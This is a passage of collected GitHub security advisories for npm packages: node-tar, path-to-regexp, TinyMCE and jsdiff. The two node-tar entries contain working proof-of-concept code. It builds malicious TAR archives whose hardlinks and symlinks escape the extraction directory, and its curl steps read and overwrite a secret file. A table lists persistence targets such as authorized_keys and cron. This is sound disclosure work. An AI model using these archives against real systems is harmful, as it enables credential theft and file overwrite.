if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24842"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-28T16:35:31Z",
"nvd_published_at": "2026-01-28T01:16:14Z",
"severity": "HIGH"
},
"details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/ \u2190 created automatically by server.js\n \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, async () =\u003e {\n fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n res.end(\u0027Extracted\\n\u0027);\n });\n } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, () =\u003e {\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end(\u0027Written\\n\u0027);\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n });\n } else {\n res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n b.write(\u0027 \u0027, 148);\n b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
"id": "GHSA-34x7-hfp2-rc4v",
"modified": "2026-01-28T16:35:31Z",
"published": "2026-01-28T16:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
GHSA-37CH-88JC-XWX2
Vulnerability from github – Published: 2026-03-27 20:04 – Updated: 2026-03-27 20:04Impact
A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.
Patches
Upgrade to path-to-regexp@0.1.13
Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.
Workarounds
All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).
If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4867"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T20:04:53Z",
"nvd_published_at": "2026-03-26T17:16:42Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.\n\n### Patches\n\nUpgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13)\n\nCustom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group.\n\n### Workarounds\n\nAll versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`.\n\nIf paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.\n\n### References\n\n- [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j)\n- [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)",
"id": "GHSA-37ch-88jc-xwx2",
"modified": "2026-03-27T20:04:53Z",
"published": "2026-03-27T20:04:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-37ch-88jc-xwx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4867"
},
{
"type": "WEB",
"url": "https://blakeembrey.com/posts/2024-09-web-redos"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9wv6-86v2-598j"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
},
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple route parameters"
}
GHSA-5359-PVF2-PW78
Vulnerability from github – Published: 2024-03-26 21:23 – Updated: 2024-03-26 21:23Impact
A cross-site scripting (XSS) vulnerability was discovered in TinyMCE’s content loading and content inserting code. A SVG image could be loaded though an object or embed element and that image could potentially contain a XSS payload.
Fix
TinyMCE 6.8.1 introduced a new convert_unsafe_embeds option to automatically convert object and embed elements respective of their type attribute. From TinyMCE 7.0.0 onwards, the convert_unsafe_embeds option is enabled by default.
Workarounds
If you are using TinyMCE 6.8.1 or higher, set convert_unsafe_embeds to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any object or embed elements. This can be added using the editor.parser.addNodeFilter and editor.serializer.addNodeFilter APIs.
Acknowledgements
Tiny Technologies would like to thank Toni Huttunen of Fraktal Oy for discovering this vulnerability.
References
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29881"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-26T21:23:45Z",
"nvd_published_at": "2024-03-26T14:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nA [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE\u2019s content loading and content inserting code. A SVG image could be loaded though an `object` or `embed` element and that image could potentially contain a XSS payload.\n\n### Fix\nTinyMCE 6.8.1 introduced a new `convert_unsafe_embeds` option to automatically convert `object` and `embed` elements respective of their `type` attribute. From TinyMCE 7.0.0 onwards, the `convert_unsafe_embeds` option is enabled by default.\n\n### Workarounds\nIf you are using TinyMCE 6.8.1 or higher, set `convert_unsafe_embeds` to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any `object` or `embed` elements. This can be added using the `editor.parser.addNodeFilter` and `editor.serializer.addNodeFilter` APIs.\n\n### Acknowledgements\nTiny Technologies would like to thank Toni Huttunen of [Fraktal Oy](https://www.fraktal.fi/) for discovering this vulnerability.\n\n### References\n- [TinyMCE 6.8.1](https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types)\n- [TinyMCE 7.0.0](https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true)\n\n",
"id": "GHSA-5359-pvf2-pw78",
"modified": "2024-03-26T21:23:45Z",
"published": "2024-03-26T21:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-5359-pvf2-pw78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29881"
},
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/commit/bcdea2ad14e3c2cea40743fb48c63bba067ae6d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinymce/tinymce"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyMCE Cross-Site Scripting (XSS) vulnerability in handling external SVG files through Object or Embed elements"
}
GHSA-73RR-HH4G-FPGX
Vulnerability from github – Published: 2026-01-14 21:34 – Updated: 2026-01-30 17:13Impact
Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.
Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).
The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.
Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.
Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.
References
PR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "8.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24001"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T21:34:12Z",
"nvd_published_at": "2026-01-22T03:15:47Z",
"severity": "LOW"
},
"details": "### Impact\n\nAttempting to parse a patch whose filename headers contain the line break characters `\\r`, `\\u2028`, or `\\u2029` can cause the `parsePatch` method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.\n\nApplications are therefore likely to be vulnerable to a denial-of-service attack if they call `parsePatch` with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling `parsePatch` on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).\n\nThe `applyPatch` method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using `parsePatch`. Other methods of the library are unaffected.\n\nFinally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch\u0027s *patch* header (also known as its \"leading garbage\"). A maliciously-crafted patch header of length *n* can take `parsePatch` O(*n*\u00b3) time to parse.\n\n### Patches\n\nAll vulnerabilities described are fixed in v8.0.3.\n\n### Workarounds\n\nIf using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: `\\r`, `\\u2028`, or `\\u2029`.\n\n### References\n\nPR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649\n\n\n### CVE Notes\n\nNote that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to `parsePatch` can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.",
"id": "GHSA-73rr-hh4g-fpgx",
"modified": "2026-01-30T17:13:35Z",
"published": "2026-01-14T21:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/security/advisories/GHSA-73rr-hh4g-fpgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24001"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/issues/653"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/pull/649"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/commit/15a1585230748c8ae6f8274c202e0c87309142f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/kpdecker/jsdiff"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch"
}
GHSA-8QQ5-RM4J-MR97
Vulnerability from github – Published: 2026-01-16 21:16 – Updated: 2026-02-18 23:43Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all
LinkandSymbolicLinktar entries from extracted packages.)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.2"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23745"
],
"database_specific": {
